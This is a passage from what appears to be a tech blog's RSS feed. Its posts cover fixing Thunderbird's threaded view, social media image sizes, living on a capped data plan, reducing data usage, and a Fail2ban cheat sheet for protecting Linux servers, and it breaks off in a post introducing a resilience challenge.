        <p>If Mozilla Thunderbird keeps switching your folders back to <strong>Threaded View</strong> even after you turn it off, you're not imagining things. This is a long-standing Thunderbird quirk caused by multiple, overlapping view settings.</p>
<p>The good news: you <em>can</em> fix it permanently once you know where to look.</p>
<h2 id="the-real-problem-too-many-view-settings">The Real Problem: Too Many View Settings</h2>
<p>Thunderbird doesn't have just one "threaded view" setting. It has:</p>
<ul>
<li>Global default view settings</li>
<li>Per-folder saved views</li>
<li>Per-account overrides</li>
<li>Special rules for Unified and virtual folders</li>
</ul>
<p>If even one of these still enables threading, Thunderbird will quietly turn it back on.</p>
<h2 id="step-1-turn-off-threading-globally-most-important">Step 1: Turn Off Threading Globally (Most Important)</h2>
<ol>
<li>Open Thunderbird</li>
<li>Go to <strong>View → Sort by</strong></li>
<li>Make sure <strong>Threaded</strong> and <strong>Grouped By Sort</strong> are unchecked</li>
<li>Select <strong>Unthreaded</strong></li>
</ol>
<p>💡 Tip: Do this while <em>no message is selected</em>, otherwise Thunderbird may only apply the change to the current folder.</p>
<h2 id="step-2-repair-folders-that-keep-forgetting">Step 2: Repair Folders That Keep Forgetting</h2>
<p>Some folders store their own corrupted view settings.</p>
<p>For each problematic folder:</p>
<ol>
<li>Right-click the folder</li>
<li>Choose <strong>Properties</strong></li>
<li>Click <strong>Repair Folder</strong></li>
<li>Reopen the folder and set <strong>Unthreaded</strong> again</li>
</ol>
<p>This clears cached metadata that can force threading back on.</p>
<h2 id="step-3-stop-account-level-overrides">Step 3: Stop Account-Level Overrides</h2>
<p>Some mail accounts override global defaults.</p>
<ol>
<li>Open <strong>Settings → Account Settings</strong></li>
<li>Select the account</li>
<li>Go to <strong>Server Settings</strong></li>
<li>Enable <strong>"Use global default view settings for this account"</strong></li>
</ol>
<p>Restart Thunderbird afterward.</p>
<h2 id="step-4-watch-out-for-unified-and-virtual-folders">Step 4: Watch Out for Unified and Virtual Folders</h2>
<p>Folders like <strong>Unified Inbox</strong> and <strong>Saved Searches</strong> ignore per-folder settings and always inherit the global view.</p>
<p>Make sure your global view is set to <strong>Unthreaded while viewing a Unified folder</strong>, then restart Thunderbird.</p>
<h2 id="step-5-reset-view-preferences-if-all-else-fails">Step 5: Reset View Preferences (If All Else Fails)</h2>
<p>If the issue persists, reset the internal preferences:</p>
<ol>
<li>Open <strong>Settings → General → Config Editor</strong></li>
<li>
<p>Reset:</p>
<ul>
<li><code>mailnews.default_view_flags</code></li>
<li><code>mailnews.default_sort_type</code></li>
<li><code>mailnews.default_sort_order</code></li>
</ul>
</li>
</ol>
<p>Restart Thunderbird.</p>
<h2 id="final-thoughts">Final Thoughts</h2>
<p>Thunderbird's folder view system is powerful but messy. Once global defaults, folder repairs, and account settings are aligned, threaded view usually stays gone for good.</p>
<p>If threading keeps coming back even after all this, the profile itself may be partially corrupted, and creating a new Thunderbird profile can resolve the issue permanently.</p>
<hr>
<p>Thank you for reading!</p>
<p>This article was written by Ramiro Gómez using open source software and the assistance of AI tools. While I strive to ensure accurate information, please verify any details independently before taking action. For more articles, visit the <a href="https://geeksta.net/geeklog/">Geeklog on geeksta.net</a>.</p>        ]]></content:encoded>
    </item>
    <item>
        <title><![CDATA[Social Media Dimensions Cheat Sheet 2025]]></title>
        <link><![CDATA[https://geeksta.net/geeklog/social-media-dimensions-cheat-sheet/]]></link>
        <description><![CDATA[<p>Comprehensive social media dimensions cheat sheet for Facebook, Instagram, YouTube, and TikTok. Includes profile pictures, cover photos, posts, stories, reels, and video sizes for optimal display.</p><img src="/img/geeklog/social-media-dimensions-cheat-sheet.webp" alt="Preview Image">]]></description>
        <guid><![CDATA[https://geeksta.net/geeklog/social-media-dimensions-cheat-sheet/]]></guid>
        <pubDate>Fri, 19 Dec 2025 12:32:42 </pubDate>
        <content:encoded><![CDATA[
        <p>Getting your images and videos to look perfect across social media platforms can be frustrating when you're working with the wrong dimensions. Each platform has its own specific requirements for profile pictures, cover photos, posts, and videos. This comprehensive cheat sheet provides all the up-to-date dimensions you need for Facebook, Instagram, YouTube, and TikTok in one convenient reference guide. Whether you're creating content for your personal brand, business page, or client projects, bookmark this page to ensure your visuals always display at their best quality across every platform.</p>
<h2 id="facebook">Facebook</h2>
<h3 id="profile-cover">Profile &amp; Cover</h3>
<ul>
<li><strong>Profile Picture</strong>: 320×320px minimum (displays at 170×170 on desktop, 196×196 on mobile) – upload at highest resolution up to 2048×2048px</li>
<li><strong>Cover Photo (Personal Profile)</strong>: 820×360px recommended (displays at 820×312 on desktop, 640×360 on mobile)</li>
<li><strong>Cover Photo (Business Page)</strong>: 820×360px recommended (displays at 820×312 on desktop, 640×360 on mobile)</li>
<li><strong>Group Cover Photo</strong>: 1640×856px</li>
<li><strong>Event Cover Photo</strong>: 1920×1005px</li>
</ul>
<h3 id="posts">Posts</h3>
<ul>
<li><strong>Shared Image</strong>: 1200×630px (recommended)</li>
<li><strong>Shared Link</strong>: 1200×630px</li>
</ul>
<h3 id="stories-reels">Stories &amp; Reels</h3>
<ul>
<li><strong>Stories</strong>: 1080×1920px (9:16 ratio)</li>
<li><strong>Reels</strong>: 1080×1920px (9:16 ratio)</li>
</ul>
<h3 id="video">Video</h3>
<ul>
<li><strong>Landscape Video</strong>: 1280×720px (16:9 ratio)</li>
<li><strong>Square Video</strong>: 1080×1080px (1:1 ratio)</li>
<li><strong>Vertical Video</strong>: 1080×1920px (9:16 ratio)</li>
</ul>
<h2 id="instagram">Instagram</h2>
<h3 id="profile">Profile</h3>
<ul>
<li><strong>Profile Picture</strong>: 320×320px minimum (displays as 110×110, shown as circle)</li>
</ul>
<h3 id="feed-posts">Feed Posts</h3>
<ul>
<li><strong>Square</strong>: 1080×1080px (1:1 ratio)</li>
<li><strong>Landscape</strong>: 1080×566px (1.91:1 ratio)</li>
<li><strong>Portrait</strong>: 1080×1350px (4:5 ratio)</li>
</ul>
<h3 id="stories-reels_1">Stories &amp; Reels</h3>
<ul>
<li><strong>Stories</strong>: 1080×1920px (9:16 ratio)</li>
<li><strong>Reels</strong>: 1080×1920px (9:16 ratio, displays as 1080×1440 in grid view)</li>
</ul>
<h3 id="other">Other</h3>
<ul>
<li><strong>Carousel</strong>: 1080×1080px (1:1 ratio recommended, all images same size)</li>
</ul>
<h2 id="youtube">YouTube</h2>
<h3 id="channel-art">Channel Art</h3>
<ul>
<li><strong>Profile Picture</strong>: 800×800px (displays as circular, minimum shows at 98×98)</li>
<li><strong>Channel Banner</strong>: 2560×1440px (safe area: 1235×338px or 1546×423px)</li>
</ul>
<h3 id="video-thumbnails">Video Thumbnails</h3>
<ul>
<li><strong>Thumbnail</strong>: 1280×720px (16:9 ratio, max 2MB)</li>
</ul>
<h3 id="community-posts">Community Posts</h3>
<ul>
<li><strong>Community Post Image</strong>: 1080×1080px (1:1 ratio recommended)</li>
<li><strong>Maximum dimensions</strong>: 1600×1600px</li>
<li><strong>Supported aspect ratios</strong>: 2:5 to 5:2</li>
<li><strong>Note</strong>: Can add up to 5 images per post (max 16MB total)</li>
</ul>
<h3 id="video-dimensions">Video Dimensions</h3>
<ul>
<li><strong>Standard HD (1080p)</strong>: 1920×1080px (16:9 ratio)</li>
<li><strong>4K</strong>: 3840×2160px (16:9 ratio)</li>
<li><strong>Vertical/Shorts</strong>: 1080×1920px (9:16 ratio)</li>
</ul>
<h3 id="shorts">Shorts</h3>
<ul>
<li><strong>YouTube Shorts</strong>: 1080×1920px (9:16 ratio)</li>
</ul>
<h2 id="tiktok">TikTok</h2>
<h3 id="profile_1">Profile</h3>
<ul>
<li><strong>Profile Picture</strong>: 200×200px (1:1 ratio)</li>
</ul>
<h3 id="videos">Videos</h3>
<ul>
<li><strong>Standard Video</strong>: 1080×1920px (9:16 ratio recommended)</li>
<li><strong>Alternative Ratios</strong>: 1:1 (square) or 16:9 (landscape) supported but not optimal</li>
</ul>
<h3 id="cover-image">Cover Image</h3>
<ul>
<li><strong>Video Cover</strong>: 1080×1920px (9:16 ratio)</li>
</ul>
<h2 id="quick-reference-table">Quick Reference Table</h2>
<table>
<thead>
<tr>
<th>Platform</th>
<th>Profile</th>
<th>Cover/Banner</th>
<th>Feed Post</th>
<th>Stories/Reels</th>
<th>Video</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Facebook</strong></td>
<td>320×320px</td>
<td>820×360px</td>
<td>1200×630px</td>
<td>1080×1920px</td>
<td>1280×720px</td>
</tr>
<tr>
<td><strong>Instagram</strong></td>
<td>320×320px</td>
<td>—</td>
<td>1080×1080px</td>
<td>1080×1920px</td>
<td>1080×1920px</td>
</tr>
<tr>
<td><strong>YouTube</strong></td>
<td>800×800px</td>
<td>2560×1440px</td>
<td>1080×1080px</td>
<td>1080×1920px</td>
<td>1920×1080px</td>
</tr>
<tr>
<td><strong>TikTok</strong></td>
<td>200×200px</td>
<td>—</td>
<td>—</td>
<td>1080×1920px</td>
<td>1080×1920px</td>
</tr>
</tbody>
</table>
<h2 id="general-tips">General Tips</h2>
<ul>
<li>Always use <strong>high-resolution images</strong> to avoid pixelation</li>
<li>Upload at <strong>higher resolutions</strong> when possible (platforms will resize down)</li>
<li>Export images in <strong>JPG or PNG</strong> format</li>
<li>Keep text and important elements within <strong>safe zones</strong> for mobile viewing</li>
<li>Use <strong>RGB color mode</strong> for digital content</li>
<li>Test content on both desktop and mobile devices</li>
<li>For profile pictures that display as circles, center important elements</li>
<li>Facebook cover photos: keep key content in center safe zone (not under profile picture)</li>
<li>YouTube banners: keep critical elements in 1235×338px safe area for all devices</li>
</ul>
<h2 id="summary">Summary</h2>
<p>Having the correct dimensions for your social media content makes the difference between professional-looking posts and pixelated, poorly cropped images. This cheat sheet covers all the essential dimensions for the four major social platforms: Facebook, Instagram, YouTube, and TikTok. From profile pictures and cover photos to feed posts, stories, reels, and video content, you now have everything you need to create optimized visuals that look great on both desktop and mobile devices. Remember to always upload high-resolution images and test your content across different devices before publishing. Save this guide and refer back to it whenever you're creating new social media content.</p>
<hr>
<p>Thank you for reading!</p>
<p>This article was written by Ramiro Gómez using open source software and the assistance of AI tools. While I strive to ensure accurate information, please verify any details independently before taking action. For more articles, visit the <a href="https://geeksta.net/geeklog/">Geeklog on geeksta.net</a>.</p>        ]]></content:encoded>
    </item>
    <item>
        <title><![CDATA[How Limiting My Internet Usage Changed the Way I Work and Live]]></title>
        <link><![CDATA[https://geeksta.net/geeklog/limited-internet-changed-my-habits/]]></link>
        <description><![CDATA[<p>Read about how a 30GB monthly data cap transformed my relationship with the Internet, improved productivity, reduced distractions, and encouraged more intentional habits in work and daily life.</p>]]></description>
        <guid><![CDATA[https://geeksta.net/geeklog/limited-internet-changed-my-habits/]]></guid>
        <pubDate>Wed, 03 Dec 2025 13:11:51 </pubDate>
        <content:encoded><![CDATA[
        <p>After canceling my DSL subscription, I decided to rely solely on mobile data for my Internet access at home. To make things even more intentional, I chose a data plan capped at 30GB per month. For someone who works from home as a system administrator and programmer, this monthly limit might sound restrictive — especially when you factor in the need to update software and keep a reliable connection for work.</p>
<p>But after over a month of living with this setup, I've found that the experience has noticeably changed my habits and workflow for the better. While it hasn't always been easy, it has caused me to reexamine how I use the Internet and how I approach my work and daily tasks. Here's what I've learned.</p>
<h2 id="deliberate-internet-usage">Deliberate Internet Usage</h2>
<p>With a limited data plan, I've had to think critically about when and how to use the Internet. In the past, I might have spent long stretches mindlessly browsing or keeping tabs open "just in case." Now, my online sessions are deliberate and focused on specific needs to avoid unnecessary data consumption.</p>
<p>This shift in mindset has been unexpectedly liberating. It feels good to be mindful about Internet usage instead of passively being led by it.</p>
<h2 id="reduced-social-media-and-procrastination">Reduced Social Media and Procrastination</h2>
<p>One of the most notable changes in my daily life has been my reduced reliance on social media. Previously, I could easily get lost scrolling through feeds multiple times a day. With a 30GB limit, I've had to be stricter about that behavior, and this change has naturally curtailed procrastination.</p>
<p>The result? I now spend more time on meaningful activities and less time falling into the black hole of endless content. It's refreshing to have that clarity.</p>
<h2 id="once-a-day-routine-check-ins">Once-a-Day Routine Check-Ins</h2>
<p>Like many others, I regularly visit certain websites for both personal and work-related reasons, such as dashboards with statistics, analytics, or updates on business matters. In the past, I would check these sites several times a day — largely out of habit.</p>
<p>With my Internet usage now restricted, I've instituted a once-a-day routine for checking most of these sites. I haven't felt like I was missing anything important. This approach has reduced interruptions, minimized distractions, and given me more time to focus on single tasks at hand.</p>
<h2 id="problem-solving-with-my-own-brain">Problem-Solving with My Own Brain</h2>
<p>As a programmer and tech worker, it's natural to rely on tools like search engines, forums, or large language models (LLMs) to quickly troubleshoot problems. However, with more constrained access to the Internet, I've started depending less on these tools and more on my own problem-solving skills.</p>
<p>For example, I turned off features like GitHub Copilot in my development environment because of how often I worked offline. This change has pushed me to reason through issues independently before seeking an external solution. Not only has this improved my productivity, but it's also reinforced confidence in my existing knowledge.</p>
<h2 id="a-life-with-fewer-distractions">A Life with Fewer Distractions</h2>
<p>Perhaps the biggest benefit of this experiment has been the calmness I've felt in my daily routine. Without constant connectivity, there's simply less noise.</p>
<p>This reduced connectivity has helped me focus better on what matters and let go of things beyond my control. It's a small step, but it's had an outsized impact on my overall sense of well-being.</p>
<h2 id="reflections-on-the-experiment">Reflections on the Experiment</h2>
<p>Certainly, this lifestyle adjustment comes with its own challenges. For example, I've had to plan ahead for downloading essential updates and think twice about how I use my allotted data. However, these minor inconveniences have been outweighed by the benefits of living with a more intentional and efficient approach to the Internet.</p>
<p>This experience has given me a new perspective: Having constant, unlimited Internet access isn't universally beneficial, especially if it fosters habits that detract from what you truly want to accomplish. Setting limits, whether self-imposed or due to a data cap, can help reset your relationship with technology in a constructive way.</p>
<p>Will I stick with this 30GB limit for the long run? I'm not sure yet. But the lessons I've learned — about being conscious of my habits, staying focused, and reducing distractions — will remain with me regardless of my future Internet plans. For now, I'm enjoying life with less digital noise.</p>
<hr>
<p>Thank you for reading!</p>
<p>This article was written by Ramiro Gómez using open source software and the assistance of AI tools. While I strive to ensure accurate information, please verify any details independently before taking action. For more articles, visit the <a href="https://geeksta.net/geeklog/">Geeklog on geeksta.net</a>.</p>        ]]></content:encoded>
    </item>
    <item>
        <title><![CDATA[Practical Tips to Reduce Data Usage on Phones, Tablets, and Computers]]></title>
        <link><![CDATA[https://geeksta.net/geeklog/reduce-data-usage-guide/]]></link>
        <description><![CDATA[<p>Discover simple, effective tips to reduce data usage on phones, tablets, and computers. Save data, lower costs, and improve your online experience with practical steps.</p>]]></description>
        <guid><![CDATA[https://geeksta.net/geeklog/reduce-data-usage-guide/]]></guid>
        <pubDate>Sat, 29 Nov 2025 12:30:15 </pubDate>
        <content:encoded><![CDATA[
        <p>With the growing reliance on the Internet, managing your data usage has become more critical than ever, especially if you're on a limited or expensive mobile data plan. Excessive consumption can lead to hefty overage fees, slower tethered speeds, or simply running out of data altogether. Whether you're using a smartphone, tablet, or computer, this guide offers practical tips to help reduce data usage while staying connected and productive.</p>
<h2 id="general-tips-for-saving-data-across-all-devices">General Tips for Saving Data Across All Devices</h2>
<p>Before diving into device-specific suggestions, here are some universal strategies for data savings:</p>
<ul>
<li><strong>Utilize Wi-Fi</strong>: Always connect to a secure Wi-Fi network when one is available, particularly at home, work, or public spaces with trusted connectivity.</li>
<li><strong>Monitor Data Usage</strong>: Most devices include tools to track your data consumption. Use them to identify high-usage apps and adjust your habits accordingly. Alternatively, mobile carriers often provide apps or dashboards to help monitor your usage.</li>
<li><strong>Set Data Limits</strong>: Many smartphones allow you to set limits and receive alerts when you're nearing your monthly data cap. Use these tools to stay on top of your plan.</li>
</ul>
<p>By incorporating these general best practices, you can effectively reduce unnecessary data consumption regardless of the device you're using.</p>
<h2 id="saving-data-on-smartphones">Saving Data on Smartphones</h2>
<p>Smartphones are often the biggest culprits when it comes to draining mobile data. These tips will help minimize unnecessary usage:</p>
<ol>
<li><strong>Enable Data Saver Mode</strong>: Most smartphones have a data saver or low data mode, which restricts background app activity and optimizes data usage.</li>
<li><strong>Restrict Background Data</strong>: Go to your phone's settings and disable background data usage for all apps, that don't need it to function properly. This ensures that apps won't pull data in the background.</li>
<li><strong>Disable Auto-Updates</strong>: Set app updates to download only when connected to Wi-Fi instead of using your mobile data plan.</li>
<li><strong>Reduce Streaming Quality</strong>: On video streaming apps like YouTube and Netflix, opt for lower quality (360p or lower) rather than HD or 4K.</li>
<li><strong>Turn Off Video Autoplay</strong>: Many social media apps like Facebook, Instagram, and Twitter autoplay videos as you scroll. Turn this feature off in the app's settings to avoid unnecessary data usage.</li>
</ol>
<h2 id="saving-data-on-tablets">Saving Data on Tablets</h2>
<p>Tablets are often used for entertainment and productivity. To reduce data usage on tablets, try these strategies:</p>
<ol>
<li><strong>Use Offline Features for Apps</strong>: Many apps—including streaming, reading, and navigation apps—allow you to download content (like maps, shows, or articles) for offline use. Download what you need while connected to Wi-Fi for future use.</li>
<li><strong>Manage Cloud Sync Settings</strong>: Disable or limit auto-syncing of data to cloud storage like Google Drive, iCloud, or Dropbox, unless you're connected to Wi-Fi.</li>
<li><strong>Block Ads</strong>: Install an ad blocker, which can reduce the amount of data consumed by video and banner ads on websites.</li>
<li><strong>Choose Data-Conscious Browsers</strong>: Browsers like Opera Mini, Brave, or Puffin compress content and block unnecessary data-hogging ads or trackers automatically.</li>
</ol>
<h2 id="saving-data-on-computers-when-connected-to-mobile-hotspots">Saving Data on Computers (When Connected to Mobile Hotspots)</h2>
<p>Using your mobile phone as a hotspot to connect your computer to the Internet can rapidly deplete your data. To optimize usage:</p>
<ol>
<li><strong>Turn Off Automatic Updates</strong>: Disable system and software updates until you're on Wi-Fi. Large updates for your operating system or applications can consume gigabytes of data. If possible, schedule updates for nighttime when you're back at home.</li>
<li><strong>Limit File Downloads</strong>: Avoid downloading large files, such as software, videos, or games, when tethering, unless absolutely necessary.</li>
<li><strong>Adjust Streaming Quality</strong>: Lower video quality settings on streaming platforms like YouTube, Netflix, or Amazon Prime to save data. Switch to audio-only modes if available.</li>
<li><strong>Disable Image Loading</strong>: Some browsers allow you to turn off or reduce the quality of images, which can help significantly when browsing content-heavy websites.</li>
<li><strong>Close Unused Programs</strong>: Shut down data-heavy applications running in the background, such as cloud storage services (Dropbox, OneDrive, etc.), to avoid unnecessary syncing.</li>
</ol>
<h2 id="browser-specific-tips">Browser-Specific Tips</h2>
<p>Many web browsers now come with features to minimize data usage. Exploring the right browser and settings can save you a lot of data:</p>
<ol>
<li><strong>Opera Mini</strong>: This browser compresses pages, including images and text. It also reduces the size of video streams, making it a favorite for data-saving.</li>
<li><strong>Google Chrome (with Lite Mode)</strong>: Activating Lite Mode compresses content, reduces image quality, and blocks unnecessary parts of webpages that consume data.</li>
<li><strong>Puffin Browser</strong>: Puffin uses cloud-based data compression to process websites, which significantly lowers data use while browsing.</li>
<li><strong>Brave Browser</strong>: Built-in ad and tracker blocking reduces data consumption and improves page load speeds.</li>
<li><strong>Install Ad Blockers</strong>: If your browser doesn't have built-in blocking capabilities, consider adding third-party extensions like uBlock Origin to remove data-heavy ads and pop-ups.</li>
</ol>
<h2 id="advanced-techniques">Advanced Techniques</h2>
<p>If you want to go the extra mile in limiting data use, here are some advanced strategies:</p>
<ol>
<li><strong>Use VPNs with Compression</strong>: Some VPN services offer data compression features, which reduce the size of data packets transmitted over the Internet. Popular VPNs like Opera VPN or Cloudflare often include data-saving options.</li>
<li><strong>Optimize Streaming Services</strong>: Platforms like Spotify and Netflix let you download content over Wi-Fi for offline viewing or listening. They also allow you to reduce streaming quality, saving significant amounts of data.</li>
<li><strong>Disable Auto-Sync Features</strong>: On all devices, turn off background sync options for non-essential apps. Synchronizing your entire photo library, for instance, can quickly eat into your data.</li>
</ol>
<h2 id="conclusion">Conclusion</h2>
<p>Reducing your data consumption doesn't have to mean entirely giving up Internet conveniences. By incorporating these tips into your daily technology habits, you can still enjoy browsing, streaming, and working online while staying within your data limits. Whether you're using a smartphone, tablet, or laptop, small adjustments like managing app updates, optimizing streaming quality, and choosing data-saving modes can make a big difference.</p>
<p>Take control of your data plan and ensure you're making the most of your Internet experience without unnecessary stress or expense!</p>
<hr>
<p>Thank you for reading!</p>
<p>This article was written by Ramiro Gómez using open source software and the assistance of AI tools. While I strive to ensure accurate information, please verify any details independently before taking action. For more articles, visit the <a href="https://geeksta.net/geeklog/">Geeklog on geeksta.net</a>.</p>        ]]></content:encoded>
    </item>
    <item>
        <title><![CDATA[Fail2ban Cheat Sheet for Sysadmins]]></title>
        <link><![CDATA[https://geeksta.net/geeklog/fail2ban-cheat-sheet/]]></link>
        <description><![CDATA[<p>Fail2ban is an essential tool for protecting Linux systems from brute-force attacks by monitoring logs and banning IPs that exhibit malicious behavior. This cheat sheet provides the most important concepts and commands for managing Fail2ban effectively.</p>]]></description>
        <guid><![CDATA[https://geeksta.net/geeklog/fail2ban-cheat-sheet/]]></guid>
        <pubDate>Thu, 20 Nov 2025 22:08:28 </pubDate>
        <content:encoded><![CDATA[
        <p>Fail2ban is a critical tool for safeguarding servers against brute-force attacks by monitoring logs and banning malicious IPs. This cheat sheet provides the most important concepts and commands for managing Fail2ban effectively.</p>
<h2 id="1-core-concepts">1. Core Concepts</h2>
<ul>
<li><strong>Jail</strong>: A Fail2ban unit that defines which logs to monitor, filter rules, and actions (e.g., banning an IP). Example: SSH protection with <code>sshd</code>.</li>
<li><strong>Filter</strong>: A regex-based rule set to identify bad behavior in logs.</li>
<li><strong>Action</strong>: The response triggered by Fail2ban (e.g., banning an IP using <code>iptables</code>).</li>
<li><strong>Ban Time</strong>: How long IPs stay banned (seconds).</li>
<li><strong>Max Retry</strong>: Maximum failed login attempts before banning an IP.</li>
</ul>
<h2 id="2-service-management">2. Service Management</h2>
<p>Start Fail2ban service:</p>
<pre><code class="language-bash">sudo systemctl start fail2ban
</code></pre>
<p>Stop Fail2ban service:</p>
<pre><code class="language-bash">sudo systemctl stop fail2ban
</code></pre>
<p>Restart Fail2ban service (for major configuration changes):</p>
<pre><code class="language-bash">sudo systemctl restart fail2ban
</code></pre>
<p>Reload Fail2ban service (for minor configuration changes):</p>
<pre><code class="language-bash">sudo fail2ban-client reload
</code></pre>
<p>Enable Fail2ban at startup:</p>
<pre><code class="language-bash">sudo systemctl enable fail2ban
</code></pre>
<p>Check Fail2ban service status:</p>
<pre><code class="language-bash">sudo systemctl status fail2ban
</code></pre>
<h2 id="3-reload-vs-restart">3. Reload vs Restart</h2>
<table>
<thead>
<tr>
<th><strong>Action</strong></th>
<th><strong>When to Use</strong></th>
<th><strong>Impact</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><code>fail2ban-client reload</code></td>
<td>Use for minor configuration changes like adjusting <code>bantime</code>, <code>maxretry</code>, or adding new jails.</td>
<td>Reloads the active configuration without disrupting bans. Active jails remain functional.</td>
</tr>
<tr>
<td><code>systemctl restart fail2ban</code></td>
<td>Use for major changes, like adjustments in <code>/etc/fail2ban/fail2ban.conf</code>, or when changing Fail2ban actions.</td>
<td>Fully restarts Fail2ban, reinitializing all settings. Active ban lists are cleared unless ban persistence is configured (see Section 10).</td>
</tr>
</tbody>
</table>
<p><strong>Best Practice</strong>: Begin with <code>reload</code>. If changes are not applied or functional issues occur, use <code>restart</code>.</p>
<h2 id="4-key-configuration-files">4. Key Configuration Files</h2>
<ul>
<li>Main Configuration: <code>/etc/fail2ban/fail2ban.conf</code></li>
<li>Jail Configuration: <code>/etc/fail2ban/jail.conf</code> or <code>/etc/fail2ban/jail.local</code> (use <code>jail.local</code> for custom settings to avoid overwrites during updates).</li>
<li>Log File: <code>/var/log/fail2ban.log</code></li>
</ul>
<h2 id="5-managing-jails">5. Managing Jails</h2>
<p>View active jails:</p>
<pre><code class="language-bash">sudo fail2ban-client status
</code></pre>
<p>Get detailed status of a specific jail:</p>
<pre><code class="language-bash">sudo fail2ban-client status &lt;jail_name&gt;
</code></pre>
<p>Ban an IP manually in a jail:</p>
<pre><code class="language-bash">sudo fail2ban-client set &lt;jail_name&gt; banip &lt;IP_address&gt;
</code></pre>
<p>Unban an IP from a jail:</p>
<pre><code class="language-bash">sudo fail2ban-client set &lt;jail_name&gt; unbanip &lt;IP_address&gt;
</code></pre>
<p>Unban all IPs from a specific jail:</p>
<pre><code class="language-bash">sudo fail2ban-client set &lt;jail_name&gt; unbanip --all
</code></pre>
<h2 id="6-sample-jail-configuration">6. Sample Jail Configuration</h2>
<p>Customize <code>/etc/fail2ban/jail.local</code> to protect SSH:</p>
<pre><code class="language-ini">[DEFAULT]
# Defaults for all jails
# Whitelist specific IPs or ranges
ignoreip = 127.0.0.1/8 192.168.1.0/24
# 1 hour ban duration
bantime = 3600
# Time window to detect multiple failed attempts
findtime = 600
# Max failed attempts before banning
maxretry = 3
# Log backend, usually auto-detected
backend = auto

[sshd]
# Enable the SSH jail
enabled = true
# Override port if not default
port = ssh
# Path to SSH authentication log
logpath = /var/log/auth.log
# Use the SSH filter for matching logs
filter = sshd
</code></pre>
<p>After editing:</p>
<pre><code class="language-bash"># Reload Fail2ban to apply changes
sudo fail2ban-client reload
</code></pre>
<h2 id="7-analyzing-logs">7. Analyzing Logs</h2>
<p>Monitor Fail2ban activity:</p>
<pre><code class="language-bash">sudo tail -f /var/log/fail2ban.log
</code></pre>
<p>Find banned IPs in the logs:</p>
<pre><code class="language-bash">grep 'Ban' /var/log/fail2ban.log
</code></pre>
<h2 id="8-create-a-custom-jail">8. Create a Custom Jail</h2>
<p>To protect Apache from login-related brute-force attacks:</p>
<p>Add this to <code>/etc/fail2ban/jail.local</code>:</p>
<pre><code class="language-ini">[apache-auth]
enabled = true
port = http,https
filter = apache-auth
logpath = /var/log/apache2/error.log
maxretry = 3
bantime = 3600
</code></pre>
<p>Create the filter <code>/etc/fail2ban/filter.d/apache-auth.conf</code>:</p>
<pre><code class="language-ini">[Definition]
failregex = .*client &lt;HOST&gt;.*authorization failed.*
ignoreregex =
</code></pre>
<p>Reload Fail2ban to apply:</p>
<pre><code class="language-bash">sudo fail2ban-client reload
</code></pre>
<p>Test the custom filter:</p>
<pre><code class="language-bash">sudo fail2ban-regex /var/log/apache2/error.log /etc/fail2ban/filter.d/apache-auth.conf
</code></pre>
<h2 id="9-debugging">9. Debugging</h2>
<p>Dump the effective configuration (all parsed settings — useful for verifying what Fail2ban is actually using):</p>
<pre><code class="language-bash">sudo fail2ban-client -d
</code></pre>
<p>Test configuration for syntax errors:</p>
<pre><code class="language-bash">sudo fail2ban-client --test
</code></pre>
<p>View system logs for Fail2ban:</p>
<pre><code class="language-bash">journalctl -u fail2ban
</code></pre>
<h2 id="10-persistent-bans-across-restarts">10. Persistent Bans Across Restarts</h2>
<p>On most distributions, Fail2ban already enables ban persistence via SQLite by default. If bans are not surviving restarts, check whether <code>dbfile</code> is explicitly set in your configuration. You can confirm or set it in <code>/etc/fail2ban/jail.local</code>:</p>
<pre><code class="language-ini">[DEFAULT]
dbfile = /var/lib/fail2ban/fail2ban.sqlite3
</code></pre>
<p>Restart Fail2ban to apply:</p>
<pre><code class="language-bash">sudo systemctl restart fail2ban
</code></pre>
<h2 id="11-iptables-integration">11. iptables Integration</h2>
<p>To view the <code>iptables</code> rules created by Fail2ban:</p>
<pre><code class="language-bash">sudo iptables -L -n
</code></pre>
<p>To remove Fail2ban-specific rules, target its chains directly (e.g., for the <code>sshd</code> jail):</p>
<pre><code class="language-bash">sudo iptables -F f2b-sshd
</code></pre>
<p>Avoid <code>iptables -F</code> without specifying a chain. It flushes <em>all</em> rules across the entire firewall, not just Fail2ban's.</p>
<h2 id="12-security-best-practices">12. Security Best Practices</h2>
<ul>
<li>Always whitelist critical IPs using <code>ignoreip</code> to prevent accidental bans.</li>
<li>Customize <code>jail.local</code> for site-specific setups (avoid editing <code>jail.conf</code>).</li>
<li>Regularly monitor <code>/var/log/fail2ban.log</code> for suspicious activity or misconfigurations.</li>
<li>Periodically test your filters using: <code>sudo fail2ban-regex &lt;logfile&gt; &lt;filter_file&gt;</code>.</li>
<li>Enable email alerts for ban events by customizing the <code>action</code> parameter in your jails.</li>
</ul>
<p>Fail2ban is a powerful tool to lock down your system against brute-force attacks. Regularly monitor logs, refine filters, and keep configs well-maintained for optimal performance and security.</p>
<hr>
<p>Thank you for reading!</p>
<p>This article was written by Ramiro Gómez using open source software and the assistance of AI tools. While I strive to ensure accurate information, please verify any details independently before taking action. For more articles, visit the <a href="https://geeksta.net/geeklog/">Geeklog on geeksta.net</a>.</p>        ]]></content:encoded>
    </item>
    <item>
        <title><![CDATA[Build Mental Resilience: A 30-Day Challenge Inspired by Science]]></title>
        <link><![CDATA[https://geeksta.net/geeklog/resilience-challenge-introduction/]]></link>
        <description><![CDATA[<p>Start building resilience with a free 30-day challenge. This introduction explains the science-backed daily practices for lasting mental strength.</p><img src="/img/tools/resilience-challenge.png" alt="Preview Image">]]></description>
        <guid><![CDATA[https://geeksta.net/geeklog/resilience-challenge-introduction/]]></guid>
        <pubDate>Mon, 06 Oct 2025 14:17:37 </pubDate>
        <content:encoded><![CDATA[
        <p>After listening to the insightful discussion on resilience research in the SOLVED Podcast with Mark Manson and Drew Bernie, I felt inspired to create something practical. The episode highlighted that resilience isn't a mysterious trait but a skill that can be developed. This led me to create <a href="/tools/resilience/">a free, simple online tool</a> designed to help people build resilience through daily practice. Here's an example of a daily challenge from the tool.</p>
<p><img alt="Resilience Challenge Example Screen" src="/img/tools/resilience-challenge.png" /></p>
<h2 id="the-science-behind-this-approach">The Science Behind This Approach</h2>
<h3 id="resilience-as-a-learnable-skill">Resilience as a Learnable Skill</h3>
<p>Resilience functions like a muscle that grows stronger with use. According to the research discussed in the podcast:</p>
<ul>
<li><strong>Neuroplasticity</strong> is the brain's ability to adapt and rewire itself over time. This process allows us to create new patterns with consistent effort.</li>
